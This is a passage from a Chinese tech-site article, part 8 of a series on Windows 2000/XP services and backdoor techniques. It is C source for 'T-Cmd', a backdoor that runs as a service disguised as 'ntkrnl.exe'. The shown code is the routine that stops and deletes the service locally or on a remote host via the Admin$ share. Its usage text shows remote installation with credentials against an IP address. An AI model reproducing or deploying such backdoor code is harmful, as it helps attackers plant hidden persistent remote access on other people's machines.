科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道Win2000/XP服务与后门技术(8)

Win2000/XP服务与后门技术(8)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准,它们会在登录系统时自动运行,甚至在没有用户登录系统的情况下也会正常执行,类似与Unix系统中的守护进程(daemon)。

作者:TOo2y 来源:中华安全网 2008年1月5日

关键字: 后门技术 服务 Windows Windows xp

  • 评论
  • 分享微博
  • 分享邮件

CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}

void RemoveCmdService(char *lpHost)
{
SC_HANDLE    schSCManager;
SC_HANDLE    schService;
char       lpImagePath[MAX_PATH];
char       *lpHostName;
     WIN32_FIND_DATA FileData;
SERVICE_STATUS RemoveServiceStatus;
HANDLE     hSearch;
DWord      dwErrorCode;

if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
       lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(MAX_PATH);
sprintf(lpHostName,"\\\\%s",lpHost);
}

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
   if(schSCManager==NULL)
{
printf("Opening SCM ......... ");
dwErrorCode=GetLastError();
if(dwErrorCode!=5)
{
printf("Failure !\n");
}
else
{
printf("Failuer ... Access is DenIEd !\n");
}
return ;
}

schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
if(schService==NULL)
{
     printf("Opening Service ..... ");
dwErrorCode=GetLastError();
if(dwErrorCode==1060)
{
printf("no Exists !\n");
}
else
{
printf("Failure !\n");
}
CloseServiceHandle(schSCManager);
}
else
{
printf("Stopping Service .... ");
     if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
   if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
       printf("already Stopped !\n");
}
   else
{
printf("Pending ... ");
   if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
   while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
  Sleep(10);
  QueryServiceStatus(schService,&RemoveServiceStatus);
}
   if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
   printf("Success !\n");
}
   else
{
printf("Failure !\n");
}
}
else
{
printf("Failure !\n");
     }
   }
}
  else
{
  printf("Query Failure !\n");
}

   printf("Removing Service .... ");  
   if(DeleteService(schService)==0)
{
   printf("Failure !\n");
}
   else
{
   printf("Success !\n");
}
}

CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);

printf("Removing File ....... ");
Sleep(1500);
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
printf("no Exists !\n");
}
else
{
if(DeleteFile(lpImagePath)==0)
{
printf("Failure !\n");      
}
else
{
printf("Success !\n");
}
FindClose(hSearch);
}

return ;
}

void Start()
{
printf("\n");
printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n");
printf("\t\t---[ E-mail: TOo2y@safechina.net ]---\n");
printf("\t\t---[ HomePage: www.safechina.net ]---\n");
printf("\t\t---[ Date: 02-05-2003      ]---\n\n");
return ;
}

void Usage()
{
printf("Attention:\n");
printf(" Be careful with this software, Good luck !\n\n");
printf("Usage Show:\n");
printf(" T-Cmd -Help\n");
printf(" T-Cmd -Install [RemoteHost] printf(" T-Cmd -Remove [RemoteHost] printf("Example:\n");
printf(" T-Cmd -Install (Install in the localhost)\n");
printf(" T-Cmd -Remove (Remove in the localhost)\n");
   printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n");
printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n");
printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL  (NULL instead of no password)\n\n");
return ;
}

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章